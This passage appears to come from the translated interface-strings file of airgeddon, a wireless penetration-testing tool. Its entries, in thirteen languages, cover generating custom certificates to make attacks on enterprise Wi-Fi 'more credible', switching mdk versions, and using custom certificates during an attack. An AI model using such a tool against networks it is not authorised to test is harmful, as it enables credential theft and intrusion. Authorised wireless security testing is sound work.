certificats personalitzats" arr["PORTUGUESE",628]="5. Criar certificados personalizados" arr["RUSSIAN",628]="5. Создать пользовательские сертификаты" arr["GREEK",628]="5. Δημιουργία προσαρμοσμένων πιστοποιητικών" arr["ITALIAN",628]="5. Creare certificati personalizzati" arr["POLISH",628]="5. Tworzenie niestandardowych certyfikatów" arr["GERMAN",628]="5. Benutzerdefinierte Zertifikate erstellen" arr["TURKISH",628]="5. Özel sertifika oluştur" arr["ARABIC",628]="5. إنشاء شهادات مخصصة" arr["CHINESE",628]="5. 创建自定义证书" arr["ENGLISH",629]="Generating custom certificates, we will make our attack to an enterprise network more credible" arr["SPANISH",629]="Generando certificados personalizados, haremos más creíble nuestro ataque a una red enterprise" arr["FRENCH",629]="En générant des certificats personnalisés, notre attaque contre un réseau entreprise será plus crédible" arr["CATALAN",629]="Generant certificats personalitzats, farem més creïble el nostre atac a una xarxa enterprise" arr["PORTUGUESE",629]="Gerando certificados personalizados tornaremos o ataque a uma rede corporativa mais confiável" arr["RUSSIAN",629]="Создавая собственные сертификаты, мы сделаем нашу атаку на корпоративную сеть более надёжной" arr["GREEK",629]="Δημιουργώντας προσαρμοσμένα πιστοποιητικά, θα κάνουμε την επίθεσή μας σε ένα επιχειρηματικό δίκτυο πιο αξιόπιστη" arr["ITALIAN",629]="Generando certificati personalizzati, renderemo più credibile il nostro attacco a una rete enterprise" arr["POLISH",629]="Generując niestandardowe certyfikaty sprawimy, że nasz atak na sieć firmową stanie się bardziej wiarygodny" arr["GERMAN",629]="Indem wir benutzerdefinierte Zertifikate generieren, werden wir unseren Angriff auf ein Unternehmensnetzwerk glaubwürdiger machen" arr["TURKISH",629]="Özel sertifikalar üreterek, kurumsal bir ağa saldırımızı daha güvenilir hale getireceğiz" arr["ARABIC",629]="أكثر مصداقية enterprise عند إنشاء شهادات مخصصة ، سنجعل هجومنا على شبكة" arr["CHINESE",629]="生成自定义证书,我们将使我们对企业级加密的网络的攻击更加可信" arr["ENGLISH",630]="Enter two letter country code (US, ES, FR):" arr["SPANISH",630]="Introduce las dos letras del código de país (US, ES, FR):" arr["FRENCH",630]="Entrez les deux lettres du code de pays (US, ES, FR):" arr["CATALAN",630]="Introduïu el codi de país de dues lletres (US, ES, FR):" arr["PORTUGUESE",630]="Digite o código de duas letras do país (US, ES, FR):" arr["RUSSIAN",630]="Введите двухбуквенный код страны (US, ES, FR):" arr["GREEK",630]="Εισάγετε τον κωδικό χώρας δύο χαρακτήρων (US, ES, FR):" arr["ITALIAN",630]="Inserisci le due lettere del codice del paese (US, ES, FR):" arr["POLISH",630]="Wpisz dwuliterowy kod kraju (US, ES, FR):" arr["GERMAN",630]="Den zweistelligen Ländercode eingeben (US, ES, FR):" arr["TURKISH",630]="İki harfli ülke kodunu giriniz (US, ES, FR):" arr["ARABIC",630]=":(US, ES, FR) أدخل رمز البلد المكون من حرفين" arr["CHINESE",630]="请输入两个字母的国家代码 (如: US(美国), ES(西班牙), CN(中国)):" arr["ENGLISH",631]="Enter state or province (Madrid, New Jersey):" arr["SPANISH",631]="Introduce el estado o provincia (Madrid, New Jersey):" arr["FRENCH",631]="Entrez l'état ou la province (Madrid, New Jersey):" arr["CATALAN",631]="Introduïu l’estat o la província (Madrid, New Jersey):" arr["PORTUGUESE",631]="Digite o estado ou a província (Madrid, New Jersey):" arr["RUSSIAN",631]="Введите штат или провинцию (Madrid, New Jersey):" arr["GREEK",631]="Εισάγετε κράτος ή επαρχία (Madrid, New Jersey):" arr["ITALIAN",631]="Inserisci lo stato o la provincia (Madrid, New Jersey):" arr["POLISH",631]="Wpisz stan lub prowincję (Madrid, New Jersey):" arr["GERMAN",631]="Bundesstaat oder Provinz eingeben (Madrid, New Jersey):" arr["TURKISH",631]="Eyalet veya ilinizi giriniz (Madrid, New Jersey):" arr["ARABIC",631]=":أدخل الولاية أو المقاطعة (مدريد ، نيو جيرسي)" arr["CHINESE",631]="请输入州或省 (如: 马德里、新泽西州):" arr["ENGLISH",632]="Enter locale (Hong Kong, Dublin):" arr["SPANISH",632]="Introduce el lugar (Hong Kong, Dublin):" arr["FRENCH",632]="Entrez le lieu (Hong Kong, Dublin):" arr["CATALAN",632]="Introduïu el lloc (Hong Kong, Dublin):" arr["PORTUGUESE",632]="Digite a localidade (Hong Kong, Dublin):" arr["RUSSIAN",632]="Введите язык (Hong Kong, Dublin):" arr["GREEK",632]="Εισάγετε την τοποθεσία συμβάντος (Hong Kong, Dublin):" arr["ITALIAN",632]="Inserisci la localitá (Hong Kong, Dublin):" arr["POLISH",632]="Wpisz ustawienia regionalne (Hong Kong, Dublin):" arr["GERMAN",632]="Lokale eingeben (Hong Kong, Dublin):" arr["TURKISH",632]="Yerel ayarı girin (Hong Kong, Dublin):" arr["ARABIC",632]=":أدخل الموقع (هونج كونج ، دبلن)" arr["CHINESE",632]="请输入语言环境 (如: 香港、都柏林):" arr["ENGLISH",633]="Enter organization name (Evil Corp):" arr["SPANISH",633]="Introduce el nombre de la empresa (Evil Corp):" arr["FRENCH",633]="Entrez le nom de l'entreprise (Evil Corp):" arr["CATALAN",633]="Introduïu el nom de l'organització (Evil Corp):" arr["PORTUGUESE",633]="Digite o nome da organização (Evil Corp):" arr["RUSSIAN",633]="Введите название организации (Evil Corp):" arr["GREEK",633]="Εισάγετε το όνομα του οργανισμού (Evil Corp):" arr["ITALIAN",633]="Inserisci il nome dell'organizzazione (Evil Corp):" arr["POLISH",633]="Wpisz nazwę organizacji (Evil Corp):" arr["GERMAN",633]="Organisationsname eingeben (Evil Corp):" arr["TURKISH",633]="Kuruluş adını girin (Evil Corp):" arr["ARABIC",633]=":(Evil Corp) أدخل اسم المنظمة" arr["CHINESE",633]="请输入组织名称 (Evil Corp):" arr["ENGLISH",634]="Enter email (tyrellwellick@ecorp.com):" arr["SPANISH",634]="Introduce un correo electrónico (tyrellwellick@ecorp.com):" arr["FRENCH",634]="Entrez l'email (tyrellwellick@ecorp.com):" arr["CATALAN",634]="Introduïu el correu electrònic (tyrellwellick@ecorp.com):" arr["PORTUGUESE",634]="Digite o email (tyrellwellick@ecorp.com):" arr["RUSSIAN",634]="Введите адрес электронной почты (tyrellwellick@ecorp.com):" arr["GREEK",634]="Εισάγετε το email (tyrellwellick@ecorp.com):" arr["ITALIAN",634]="Inserisci l'email (tyrellwellick@ecorp.com):" arr["POLISH",634]="Wpisz adres e-mail (tyrellwellick@ecorp.com):" arr["GERMAN",634]="E-Mail eingeben (tyrellwellick@ecorp.com):" arr["TURKISH",634]="E-posta adresini girin (tyrellwellick@ecorp.com):" arr["ARABIC",634]=":(tyrellwellick@ecorp.com) أدخل البريد الإلكتروني" arr["CHINESE",634]="请输入电子邮件 (如: tyrellwellick@ecorp.com):" arr["ENGLISH",635]="Enter the \"common name\" (CN) for cert (ecorp.com):" arr["SPANISH",635]="Introduce el \"common name\" (CN) del certificado (ecorp.com):" arr["FRENCH",635]="Entrez le \"common name\" (CN) du certificat (ecorp.com):" arr["CATALAN",635]="Introduïu \"common name\" (CN) per cert (ecorp.com):" arr["PORTUGUESE",635]="Digite o \"common name\" (CN) para o certificado (ecorp.com):" arr["RUSSIAN",635]="Введите \"common name\" (CN) для сертификата (ecorp.com):" arr["GREEK",635]="Εισάγετε \"common name\" (CN) για cert (ecorp.com):" arr["ITALIAN",635]="Inserisci il \"common name\" (CN) del certificato (ecorp.com):" arr["POLISH",635]="Wpisz \"common name\" (CN) dla cert (ecorp.com):" arr["GERMAN",635]="Eingabe \"common name\" (CN) eingeben (ecorp.com):" arr["TURKISH",635]="Bir \"common name\" (CN) girin (ecorp.com):" arr["ARABIC",635]="(ecorp.com) للشهادة \"common name\" (CN) أدخل" arr["CHINESE",635]="请输入证书 (如: ecorp.com) 的“通用名称”(CN):" arr["ENGLISH",636]="There is an error in your configuration. Please check the \${rc_path} file. You have enabled the option to force the use of mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) but your system doesn't have mdk3 installed. Disable this option or install mdk3 to fix the problem" arr["SPANISH",636]="Hay un error en tu configuración. Por favor revisa el fichero \${rc_path}. Has activado la opción para forzar el uso de mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) pero tu sistema no tiene mdk3 instalado. Deshabilita esta opción o instala mdk3 para solucionar el problema" arr["FRENCH",636]="Il y a une erreur dans votre configuration. Veuillez vérifier le fichier \${rc_path}. Vous avez activé l'option pour forcer l'utilisation de mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) mais mdk3 n'est pas installé sur votre système. Désactivez cette option ou installez mdk3 pour résoudre le problème" arr["CATALAN",636]="Hi ha un error en la configuració. Si us plau comprova el fitxer \${rc_path}. Has activat l'opció per forçar l'ús d'mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) però el teu sistema no té mdk3 instal·lat. Deshabilita aquesta opció o instal·la mdk3 per solucionar el problema" arr["PORTUGUESE",636]="Existe um erro na sua configuração. Por favor, verifique o arquivo \${rc_path}. Você ativou a opção para forçar o uso de mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}), mas seu sistema não possui o mdk3 instalado. Desabilite esta opção ou instale o mdk3 para resolver o problema" arr["RUSSIAN",636]="В вашей конфигурации имеется ошибка. Пожалуйста, проверьте файл \${rc_path}. Вы включили опцию принудительного использования mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}), но в вашей системе не установлена mdk3. Отключите эту опцию или установите mdk3, чтобы исправить проблему" arr["GREEK",636]="Υπάρχει ένα σφάλμα στο configuration σας. Παρακαλώ ελέγξτε το αρχείο \${rc_path}. Έχετε ενεργοποιήσει την επιλογή που εξαναγκάζει τη χρήση του mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) αλλά το σύστημά σας δεν έχει το mdk3 εγκατεστημένο. Απενεργοποιήστε την επιλογή αυτή ή εγκαταστήστε το mdk3 για να επιλυθεί το πρόβλημα" arr["ITALIAN",636]="C'è un errore nella tua configurazione. Per favore controlla il file \${rc_path}. Hai attivato l'opzione per forzare l'uso di mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) ma il tuo sistema non ha mdk3 installato. Disabilita questa opzione o installa mdk3 per risolvere il problema" arr["POLISH",636]="Wystąpił błąd konfiguracji. Sprawdź plik \${rc_path}. Aktywowałeś opcję wymuszania użycia mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}), ale twój system nie ma zainstalowanego mdk3. Wyłącz tę opcję lub zainstaluj mdk3, aby rozwiązać problem" arr["GERMAN",636]="Ein Fehler wurde in Ihren Einstellungen gefunden. Bitte überprüfen Sie die Datei \${rc_path}. Sie haben die Option aktiviert, um die Verwendung von mdk3 zu erzwingen (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}), aber auf Ihrem System ist mdk3 nicht installiert. Deaktivieren Sie diese Option oder installieren Sie mdk3, um dieses Problem zu lösen" arr["TURKISH",636]="Yapılandırmanızda bir hata var. Lütfen \${rc_path} dosyasını kontrol edin. (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) mdk3 kullanımını zorlama seçeneğini etkinleştirdiniz, ancak sisteminizde mdk3 kurulu değil. Bu seçeneği devre dışı bırakın veya sorunu çözmek için mdk3 yükleyin" arr["ARABIC",636]="لإصلاح المشكلة mdk3 على نظامك. قم بتعطيل هذا الخيار أو قم بتثبيت mdk3 ولكن لم يتم تثبيت (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) mdk3 لقد قمت بتفعيل خيار فرض استخدام .\${rc_path} هناك خطأ في التكوين الخاص بك. يرجى التحقق من ملف" arr["CHINESE",636]="您的配置有错误。请检查 \${rc_path} 文件。您已启用强制使用 mdk3 (\${normal_color}AIRGEDDON_MDK_VERSION\${red_color}) 的选项,但您的系统未安装 mdk3。禁用此选项或安装 mdk3 以解决问题" arr["ENGLISH",637]="11. Set mdk version to mdk3" arr["SPANISH",637]="11. Cambiar versión mdk a mdk3" arr["FRENCH",637]="11. Changer la version de mdk en mdk3" arr["CATALAN",637]="11. Canviar versió mdk a mdk3" arr["PORTUGUESE",637]="11. Mudar a versão do mdk para o mdk3" arr["RUSSIAN",637]="11. Изменить версию mdk на mdk3" arr["GREEK",637]="11. Αλλάξτε την έκδοση mdk σε mdk3" arr["ITALIAN",637]="11. Cambiare la versione di mdk in mdk3" arr["POLISH",637]="11. Zmień wersję mdk na mdk3" arr["GERMAN",637]="11. Von mdk-Version zu mdk3 wechseln" arr["TURKISH",637]="11. mdk sürümünü mdk3 olarak değiştir" arr["ARABIC",637]="11. mdk3 على mdk قم بتعيين إصدار" arr["CHINESE",637]="11. 设置 mdk 版本为 mdk3" arr["ENGLISH",638]="11. Set mdk version to mdk4" arr["SPANISH",638]="11. Cambiar versión mdk a mdk4" arr["FRENCH",638]="11. Changer la version de mdk en mdk4" arr["CATALAN",638]="11. Canviar versió mdk a mdk4" arr["PORTUGUESE",638]="11. Mudar a versão do mdk para o mdk4" arr["RUSSIAN",638]="11. Изменить версию mdk на mdk4" arr["GREEK",638]="11. Αλλάξτε την έκδοση mdk σε mdk4" arr["ITALIAN",638]="11. Cambiare la versione di mdk in mdk4" arr["POLISH",638]="11. Zmień wersję mdk na mdk4" arr["GERMAN",638]="11. Von mdk-Version zu mdk4 wechseln" arr["TURKISH",638]="11. mdk sürümünü mdk4 olarak değiştirin" arr["ARABIC",638]="11. mdk4 على mdk قم بتعيين إصدار" arr["CHINESE",638]="11. 设置 mdk 版本为 mdk4" arr["ENGLISH",639]="\${blue_color}mdk version is going to be changed. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",639]="\${blue_color}Se va a cambiar la versión de mdk a utilizar. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",639]="\${blue_color}La version de mdk à utiliser va à changer. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",639]="\${blue_color}Es canviarà la versió de mdk a utilitzar. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",639]="\${blue_color}A versão do mdk será modificada. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",639]="\${blue_color}Это изменит версию mdk. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",639]="\${blue_color}Θα αλλάξει η έκδοση mdk. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",639]="\${blue_color}La versione di mdk da usare sta per essere cambiata. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",639]="\${blue_color}Wersja mdk zostanie zmieniona. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",639]="\${blue_color}Die zu verwendende mdk-Version wird geändert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",639]="\${blue_color}Kullanılacak mdk sürümünü değiştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",639]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .mdkسيتم تغيير إصدار" arr["CHINESE",639]="\${blue_color}mdk 版本将被更改。\${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",640]="mdk version was successfully changed to \${mdk_command}" arr["SPANISH",640]="Se ha cambiado correctamente la versión de mdk a \${mdk_command}" arr["FRENCH",640]="La version de mdk en \${mdk_command} a été modifiée avec succès" arr["CATALAN",640]="S'ha canviat correctament la versió de mdk a \${mdk_command}" arr["PORTUGUESE",640]="Versão do mdk alterada para: \${mdk_command}" arr["RUSSIAN",640]="Версия mdk для \${mdk_command} была успешно изменена" arr["GREEK",640]="Η έκδοση mdk άλλαξε με επιτυχία σε \${mdk_command}" arr["ITALIAN",640]="La versione di mdk è stata cambiata con successo a \${mdk_command}" arr["POLISH",640]="Wersja z mdk na \${mdk_command} została pomyślnie zmieniona" arr["GERMAN",640]="Die mdk-Version wurde zu \${mdk_command} erfolgreich geändert" arr["TURKISH",640]="mdk sürümü başarıyla \${mdk_command} olarak değiştirildi" arr["ARABIC",640]="\${mdk_command} بنجاح إلى mdkتم تغيير إصدار" arr["CHINESE",640]="mdk 版本已成功更改为 \${mdk_command}" arr["ENGLISH",641]="Selected mdk version: \${pink_color}\${mdk_command}\${normal_color}" arr["SPANISH",641]="Versión mdk seleccionada: \${pink_color}\${mdk_command}\${normal_color}" arr["FRENCH",641]="Version de mdk sélectionnée: \${pink_color}\${mdk_command}\${normal_color}" arr["CATALAN",641]="Versió mdk seleccionada: \${pink_color}\${mdk_command}\${normal_color}" arr["PORTUGUESE",641]="Versão do mdk selecionada: \${pink_color}\${mdk_command}\${normal_color}" arr["RUSSIAN",641]="Выбрана версия mdk: \${pink_color}\${mdk_command}\${normal_color}" arr["GREEK",641]="Επιλεγμένη έκδοση mdk: \${pink_color}\${mdk_command}\${normal_color}" arr["ITALIAN",641]="Versione di mdk selezionata: \${pink_color}\${mdk_command}\${normal_color}" arr["POLISH",641]="Wybrana wersja mdk: \${pink_color}\${mdk_command}\${normal_color}" arr["GERMAN",641]="Ausgewählte mdk-Version: \${pink_color}\${mdk_command}\${normal_color}" arr["TURKISH",641]="Seçilen mdk versiyonu: \${pink_color}\${mdk_command}\${normal_color}" arr["ARABIC",641]="\${pink_color}\${mdk_command}\${blue_color} :المحدد MDK إصدار\${normal_color}" arr["CHINESE",641]="已选择的mdk版本: \${pink_color}\${mdk_command}\${normal_color}" arr["ENGLISH",642]="Certificates are being generated. Please be patient, the process can take some time..." arr["SPANISH",642]="Se están generando los certificados. Por favor ten paciencia, el proceso puede tardar un rato..." arr["FRENCH",642]="Les certificats sont en cours de génération. Soyez patient s'il vous plaît, le process peut prendre du temps..." arr["CATALAN",642]="S'estan generant els certificats. Si us plau tingues paciència, el procés pot trigar una estona..." arr["PORTUGUESE",642]="Os certificados estão sendo gerados. Por favor, seja paciente, o processo pode demorar um pouco..." arr["RUSSIAN",642]="Сертификаты создаются. Пожалуйста, будьте терпеливы, процесс может занять некоторое время..." arr["GREEK",642]="Δημιουργούνται πιστοποιητικά. Παρακαλούμε να είστε υπομονετικοί, η διαδικασία μπορεί να διαρκέσει λίγο..." arr["ITALIAN",642]="I certificati si stanno generando. Ti preghiamo di essere paziente, il processo potrebbe richiedere del tempo..." arr["POLISH",642]="Generowane są certyfikaty. Prosimy o cierpliwość, proces może trochę potrwać..." arr["GERMAN",642]="Zertifikate werden generiert. Bitte haben Sie etwas Geduld, der Vorgang kann eine Weile dauern..." arr["TURKISH",642]="Sertifikalar üretiliyor. Lütfen sabırlı olun, işlem biraz zaman alabilir..." arr["ARABIC",642]="...يتم إنشاء الشهادات. يرجى التحلي بالصبر ، قد تستغرق العملية بعض الوقت" arr["CHINESE",642]="正在生成证书。请耐心等待,该过程可能需要一些时间..." arr["ENGLISH",643]="Certificates files were created successfully, you should decide where to save them. \${green_color}Type the path to store the files or press [Enter] to accept the default proposal \${normal_color}[\${enterprisecertspath}]" arr["SPANISH",643]="Los ficheros de los certificados se han creado correctamente, hay que decidir donde guardarlos. \${green_color}Escribe la ruta donde guardaremos los ficheros o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${enterprisecertspath}]" arr["FRENCH",643]="Les fichiers de certificat ont été créés correctement, vous devez décider où les enregistrer. \${green_color}Entrez le chemin où nous allons enregistrer les fichiers ou appuyez sur [Enter] pour accepter la proposition par défaut. \${normal_color}[\${enterprisecertspath}]" arr["CATALAN",643]="Els fitxers dels certificats s'han creat correctament, cal decidir on guardar-los. \${green_color}Escriu la ruta on guardarem els fitxers o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${enterprisecertspath}]" arr["PORTUGUESE",643]="Os certificados foram criados com êxito. Onde deseja salvá-los? \${green_color}Digite o caminho onde salvaremos os arquivos ou pressione [Enter] para aceitar o padrão \${normal_color}[\${enterprisecertspath}]" arr["RUSSIAN",643]="Файлы сертификатов были созданы правильно, вам нужно решить, где их сохранить. \${green_color}Введите путь, по которому мы будем сохранять файлы, или нажмите [Enter], чтобы принять предложение по умолчанию \${normal_color}[\${enterprisecertspath}]" arr["GREEK",643]="Τα αρχεία πιστοποιητικών έχουν δημιουργηθεί σωστά, πρέπει να αποφασίσετε πού να τα αποθηκεύσετε. \${green_color}Πληκτρολογήστε τη διαδρομή στην οποία θα αποθηκευτούν τα αρχεία ή πατήστε [Enter] για να αποδεχθείτε την προεπιλεγμένη πρόταση \${normal_color}[\${enterprisecertspath}]" arr["ITALIAN",643]="I files del certificato sono stati creati correttamente, devi decidere dove salvarli. \${green_color}Digita il percorso in cui salveremo i file o premi [Enter] per accettare la proposta predefinita \${normal_color}[\${enterprisecertspath}]" arr["POLISH",643]="Pliki certyfikatów zostały utworzone poprawnie. Musisz zdecydować, gdzie je zapisać. \${green_color}Wpisz ścieżkę zapisu lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${enterprisecertspath}]" arr["GERMAN",643]="Die Zertifikatsdateien wurden erfolgreich erstellt. Sie müssen entscheiden, wo diese gespeichert werden sollen. \${green_color}Geben Sie den Pfad ein, in dem die Dateien gespeichert werden sollen, oder drücken Sie [Enter], um den Standardvorschlag zu akzeptieren. \${normal_color}[\${enterprisecertspath}]" arr["TURKISH",643]="Sertifika dosyaları başarılıyla oluşturuldu, nereye kaydedileceğine karar vermelisiniz. \${green_color}Dosyaları kaydedeceğimiz yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${enterprisecertspath}]" arr["ARABIC",643]="\${normal_color}[\${enterprisecertspath}] \${green_color}لقبول الاقتراح [Enter] اكتب المسار لتخزين الملفات أو اضغط على \${blue_color}.تم إنشاء ملفات الشهادات بنجاح ، يجب أن تقرر مكان حفظها\${normal_color}" arr["CHINESE",643]="证书文件已成功创建,您应该决定将它们保存在何处。\${green_color}请输入文件的存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${enterprisecertspath}]" arr["ENGLISH",644]="Certificates (ca.pem, server.pem and server.key) were saved successfully to selected path [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. The expiration time for these certificates is \${normal_color}10\${blue_color} years and the password used on the creation process was \"\${normal_color}\${certspass}\${blue_color}\"" arr["SPANISH",644]="Los ficheros de los certificados (ca.pem, server.pem and server.key) se han salvado correctamente en la ruta elegida [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. El tiempo de expiración para estos certificados es de \${normal_color}10\${blue_color} años y la contraseña utilizada en su creación fue \"\${normal_color}\${certspass}\${blue_color}\"" arr["FRENCH",644]="Les fichiers des certificats (ca.pem, server.pem et server.key) ont été correctement enregistrés dans le chemin choisi [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. Le temps d'expiration de ces certificats est de \${normal_color}10\${blue_color} ans et le mot de passe utilisé lors de leur création était \"\${normal_color}\${certspass}\${blue_color}\"" arr["CATALAN",644]="Els fitxers dels certificats (ca.pem, server.pem and server.key) s'han salvat correctament en la ruta escollida [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. El temps de termini per a aquests certificats és de \${normal_color}10\${blue_color} anys i la contrasenya utilitzada en la seva creació va ser \"\${normal_color}\${certspass}\${blue_color}\"" arr["PORTUGUESE",644]="Os arquivos de certificados (ca.pem, server.pem e server.key) foram salvos corretamente no caminho escolhido [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. O prazo de validade desses certificados é de \${normal_color}10\${blue_color} anos e a senha usada em sua criação era \"\${normal_color}\${certspass}\${blue_color}\"" arr["RUSSIAN",644]="Файлы сертификатов (ca.pem, server.pem и server.key) были успешно сохранены по выбранному пути [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. Срок действия этих сертификатов составляет \${normal_color}10\${blue_color} лет, а пароль, использованный при их создании, был \"\${normal_color} \${certspass} \${blue_color}\"" arr["GREEK",644]="Τα πιστοποιητικά (ca.pem, server.pem και server.key) αποθηκεύτηκαν με επιτυχία στην επιλεγμένη διαδρομή [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. Ο χρόνος λήξης αυτών των πιστοποιητικών είναι \${normal_color}10\${blue_color} χρόνια και ο κωδικός πρόσβασης που χρησιμοποιήθηκε κατά τη δημιουργία του ήταν \"\${normal_color}\${certspass}\${blue_color}\"" arr["ITALIAN",644]="I files del certificato (ca.pem, server.pem e server.key) sono stati salvati correttamente nel percorso scelto [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. Il tempo di scadenza per questi certificati è \${normal_color}10\${blue_color} anni e la password utilizzata nella sua creazione era \"\${normal_color}\${certspass}\${blue_color}\"" arr["POLISH",644]="Pliki certyfikatów (ca.pem, server.pem i server.key) zostały poprawnie zapisane w wybranej ścieżce [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. Czas ważności tych certyfikatów wynosi \${normal_color}10\${blue_color} lat, a hasło użyte ich utworzenia to \"\${normal_color}\${certspass}\${blue_color}\"" arr["GERMAN",644]="Die Zertifikatdateien (ca.pem, server.pem und server.key) wurden erfolgreich im ausgewählten Pfad [\${normal_color}\${enterprisecerts_completepath}\${blue_color}] gespeichert. Die Gültigkeitsdauer für diese zertifikate beträgt \${normal_color}10\${blue_color} Jahre und das bei der Erstellung verwendete Passwort war \"\${normal_color}\${certspass}\${blue_color}\"" arr["TURKISH",644]="Sertifika dosyaları (ca.pem, server.pem ve server.key) seçilen yola başarıyla kaydedildi [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]. Bu sertifikaların son kullanma süresi \${normal_color}10\${blue_color} yıl ve oluşturmada kullanılan şifre \"\${normal_color}\${certspass}\${blue_color}\" idi" arr["ARABIC",644]="\"\${normal_color}\${certspass}\${blue_color}\" سنة وكلمة المرور المستخدمة في عملية الإنشاء كانت \${normal_color}10\${blue_color}وقت انتهاء صلاحية هذه الشهادات هو .[\${normal_color}\${enterprisecerts_completepath}\${blue_color}] بنجاح في المسار المحدد (server.keyو server.pemو ca.pem) تم حفظ الشهادات" arr["CHINESE",644]="证书 (ca.pem、server.pem 和 server.key) 已成功保存到所选路径 [\${normal_color}\${enterprisecerts_completepath}\${blue_color}]。这些证书的有效期为 \${normal_color}10\${blue_color} 年,创建过程中使用的密码为 \"\${normal_color}\${certspass}\${blue_color} \"" arr["ENGLISH",645]="\${green_color}Do you want to use custom certificates during the attack? \${blue_color}If you answer no \"n\", airgeddon will use ones by default. if you answer yes \"y\" then you will have to provide their path and know the password with which they were generated \${normal_color}\${visual_choice}" arr["SPANISH",645]="\${green_color}¿Quieres utilizar certificados personalizados durante el ataque? \${blue_color}Si respondes no \"n\", airgeddon utilizará unos por defecto. Si respondes sí \"y\" entonces tendrás que proporcionar la ruta de los mismos y conocer la contraseña con la que fueron generados \${normal_color}\${visual_choice}" arr["FRENCH",645]="\${green_color}Voulez-vous utiliser des certificats personnalisés pendant l'attaque? \${blue_color}Si vous répondez non \"n\", airgeddon les utilisera par défaut. Si vous répondez oui \"y\", vous devrez introduire leur chemin et connaître le mot de passe avec lequel ils ont été générés \${normal_color}\${visual_choice}" arr["CATALAN",645]="\${green_color}¿Vols fer servir certificats personalitzats durant l'atac? \${blue_color}Si respons no \"n\", airgeddon utilitzarà uns per defecte. si respons sí \"y\" llavors hauràs de proporcionar la ruta dels mateixos i conèixer la contrasenya amb la qual van ser generats \${normal_color}\${visual_choice}" arr["PORTUGUESE",645]="\${green_color}Você quer usar certificados personalizados durante o ataque? \${blue_color}Se você responder não \"n\", o airgeddon irá usar os padrões. Se você responder sim \"y\", então você terá que fornecer o caminho e saber a senha com a qual eles foram gerados \${normal_color}\${visual_choice}" arr["RUSSIAN",645]="\${green_color}Хотите использовать собственные сертификаты во время атаки? \${blue_color}Если вы ответите нет \"n\", airgeddon будет использовать дефолтные сертификаты. Если вы ответите да \"y\", то вам нужно будет указать путь до ваших сертификатов и знать пароль, с помощью которого они были сгенерированы \${normal_color}\${visual_choice}" arr["GREEK",645]="\${green_color}Θέλετε να χρησιμοποιήσετε προσαρμοσμένα πιστοποιητικά κατά τη διάρκεια της επίθεσης; \${blue_color}Εάν απαντήσετε όχι \"n\", το airgeddon θα χρησιμοποιήσει αυτά από προεπιλογή. Αν απαντήσετε ναι \"y\" τότε θα πρέπει να δώσετε τη διαδρομή τους και να γνωρίσετε τον κωδικό πρόσβασης με τον οποίο δημιουργήθηκαν \${normal_color}\${visual_choice}" arr["ITALIAN",645]="\${green_color}Vuoi usare certificati personalizzati durante l'attacco? \${blue_color}Se rispondi no \"n\", airgeddon ne utilizzerà uno di default. se rispondi sì \"y\" dovrai fornire il loro percorso e conoscere la password con cui sono stati generati \${normal_color}\${visual_choice}" arr["POLISH",645]="\${green_color}Czy chcesz używać niestandardowych certyfikatów podczas ataku? \${blue_color}Jeśli odpowiesz nie \"n\", airgeddon użyje domyślnych. Jeśli odpowiesz tak \"y\", będziesz musiał podać ścieżkę i hasło użyte do ich wygenerowania \${normal_color}\${visual_choice}" arr["GERMAN",645]="\${green_color}Möchten Sie während des Angriffs benutzerdefinierte Zertifikate verwenden? \${blue_color}Wenn sie mit Nein \"n\" antworten, verwendet airgeddon die Standardzertifikaten. wenn sie mit Ja \"y\" antworten, müssen Sie deren Pfad und das Kennwort eingeben, mit dem sie generiert wurden \${normal_color}\${visual_choice}" arr["TURKISH",645]="\${green_color}Saldırı sırasında özel sertifikalar kullanmak ister misiniz? \${blue_color}Hayır \"n\" cevabını verirseniz, airgeddon varsayılanları kullanacaktır. eğer evet \"y\" cevabını verirseniz, yollarını belirtmeniz ve oluşturdukları şifreyi bilmeniz gerekir \${normal_color}\${visual_choice}" 